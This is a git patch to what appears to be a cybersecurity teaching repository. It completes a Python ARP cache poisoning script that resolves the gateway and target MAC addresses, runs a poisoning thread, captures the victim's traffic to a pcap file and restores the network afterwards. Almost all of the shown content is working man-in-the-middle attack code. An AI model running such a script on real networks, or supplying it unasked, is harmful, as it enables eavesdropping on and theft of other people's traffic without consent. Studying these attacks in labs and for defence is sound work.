From 779b9074753d3eb8595b26a37a0ace490d4df69c Mon Sep 17 00:00:00 2001 From: Omar Santos Date: Mon, 3 Jul 2023 15:05:13 -0400 Subject: [PATCH] Update arp_cache_poisoner.py Fixing incomplete code bug --- .../exploitation/arp_cache_poisoner.py | 32 ++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py index 671b984..87976b9 100644 --- a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py +++ b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py @@ -82,4 +82,34 @@ if gateway_mac is None: print("[!] Unable to get gateway MAC address. Exiting..") sys.exit(0) else: - print(f"[* + print(f"[*] Gateway MAC address: {gateway_mac}") + +target_mac = get_mac(target_ip) +if target_mac is None: + print("[!] Unable to get target MAC address. Exiting..") + sys.exit(0) +else: + print(f"[*] Target MAC address: {target_mac}") + +# Start the ARP poison thread +poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac)) +poison_thread.start() + +# Collect packet captures and save them to a file +try: + sniff_filter = "ip host " + target_ip + print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}") + packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count) + + # Save captured packets to a .pcap file + wrpcap(target_ip + "_capture.pcap", packets) + + print(f"[*] Stopping network capture..Restoring network") + restore_network(gateway_ip, gateway_mac, target_ip, target_mac) + +# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network +except KeyboardInterrupt: + print(f"[*] Stopping network capture..Restoring network") + restore_network(gateway_ip, gateway_mac, target_ip, target_mac) + sys.exit(0) +